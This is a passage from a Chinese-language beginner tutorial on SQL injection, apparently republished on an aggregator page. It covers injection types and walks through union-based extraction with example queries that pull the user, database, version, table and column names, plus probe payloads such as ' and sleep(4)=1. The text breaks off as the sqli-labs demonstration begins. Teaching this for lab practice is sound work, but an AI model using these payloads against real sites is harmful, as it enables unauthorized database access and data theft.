SQL注入基础入门篇 注入思路及常见的SQL注入类型总结 您所在的位置:网站首页 sql注入攻击是什么意思呀 SQL注入基础入门篇 注入思路及常见的SQL注入类型总结

SQL注入基础入门篇 注入思路及常见的SQL注入类型总结

2024-07-14 13:01| 来源: 网络整理| 查看: 265

SQL注入基础入门篇 1. SQL注入的概念1.1 什么是SQL注入?1.2 注入过程1.3 SQL注入的分类 2. 注入思路3. 第一次注入3.1 寻找注入点3.2 构造攻击语句3.2.1 数据出在哪里?3.2.2 怎么有序的获取核心数据?3.2.2.1 基础信息查询3.2.2.2 表名,字段名与字段信息 4.常见的SQL注入类型总结4.1 联合查询4.2 报错注入4.2.1 常见报错函数1. updatexml2. extractvalue3. ST_LatFromGeoHash()(mysql>=5.7.x)4. ST_LongFromGeoHash(mysql>=5.7.x)5.GTID (MySQL >= 5.6.X - 显错=5.7)7.floor注入 4.2.2 floor报错注入的原理1.概述2. 关键函数说明3.报错分析4. 总结 4.2.3 关于报错注入回显限制问题 4.3 布尔盲注4.3.1 字典爆破实现布尔注入4.3.2 二分法爆破实现布尔注入 4.4 时间盲注4.4.1 sqlmap实现时间盲注 - sqlmap简单应用4.4.2 python脚本实现时间盲注 5. 总结

1. SQL注入的概念 1.1 什么是SQL注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

危害:木马上传、UDF提权、数据泄露。其中最大的危害就是数据泄露。

产生原因:由于编写程序的时候,未对用户的输入进行有效的过滤,从而让用户通过非法输入获取其他的数据信息。也就是说在进行数据交互的过程中,用户的恶意输入被带入到了程序后端数据库进行查询。导致了数据的泄露。

1.2 注入过程

一张图看下注入过程:

在这里插入图片描述 所以说,大致的SQL注入流程就出来了,我们先要判断注入点的位置,之后就要构造注入语句。将语句发送给服务器,最终获取我们想要的数据。

1.3 SQL注入的分类

可以按照两个分类标准来进行分类,当然常见的就是按照注入方式的不同将其分类为:

联合查询注入:可以明确判断回显位置的情况下使用报错注入:无回显位置,可以有报错输出的情况可以使用布尔盲注:关闭错误回显和数据回显,但是页面会根据我们的输入对错变化。可以使用。时间盲注:无任何形式的回显,但是仅仅对睡眠函数有响应,可以使用时间盲注。堆叠注入:堆叠注入在mysql上不常见,必须要用到mysqli_multi_query()或者PDO,可以用分号分割来执行多个语句,相当于可直连数据库。Mssql则较常见堆叠注入。

根据注入点分类:

数字型注入字符型注入搜索型注入

现在不理解也没关系,我们慢慢看完一些类型,这些分类就了然于心了。

2. 注入思路

此处为对联合查询的高度概括,详情可以跳转到3.第一次注入

#1.判断数据库字段数目 'order by ? #2.联合查询---接入1,2,3,4回显数据 mysql> select * from stu union select 1,2,3,4; +----+---------+--------+------+ | id | name | gender | age | +----+---------+--------+------+ | 1 | chengke | 1 | 30 | | 1 | beijing | 1 | 200 | | 2 | guagnxi | 1 | 2300 | | 3 | nanjing | 1 | 500 | | 4 | henan | 1 | 600 | | 1 | 2 | 3 | 4 | +----+---------+--------+------+ 6 rows in set (0.00 sec) #3.回显user--假设回显位置为2 mysql> select * from stu union select 1,(select user()),3,4; #4.回显数据库 mysql> select * from stu union select 1,(select database()),3,4; #5.回显版本号 mysql> select * from stu union select 1,(select version()),3,4; #6.查询表名---(5.7出不来?) mysql> select * from stu union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='testdb'),3,4; #7.查询字段信息 mysql> select * from stu union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='stu'),3,4; #8.锁定目标信息 select * from stu union select 1,(select group_concat(name,age) from stu),3,4;

注:

group_concat()—字符连接—连接为一行 concat()—连接函数—连接为多行

Q:如何判断注入点? A: 我们可以通过以下方案测试注入点的存在性: 1.直接在后面加’或者“看是否有错误回显 2.and 1=1 | and 2 > 1 | or 1=1 | or 1 < 1 3.数据库函数:sleep(4)=1 | length(user()) > 3

3. 第一次注入

这里我们以sqllab第一关作为例子为大家进行注入的演示:

3.1 寻找注入点

作为第一步,我们想要搞清楚原理就得先来分析以下这里的后端源代码,当然这里对后端源码进行了一点点修改,目的在于看清楚究竟查询完毕返回了什么东西。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有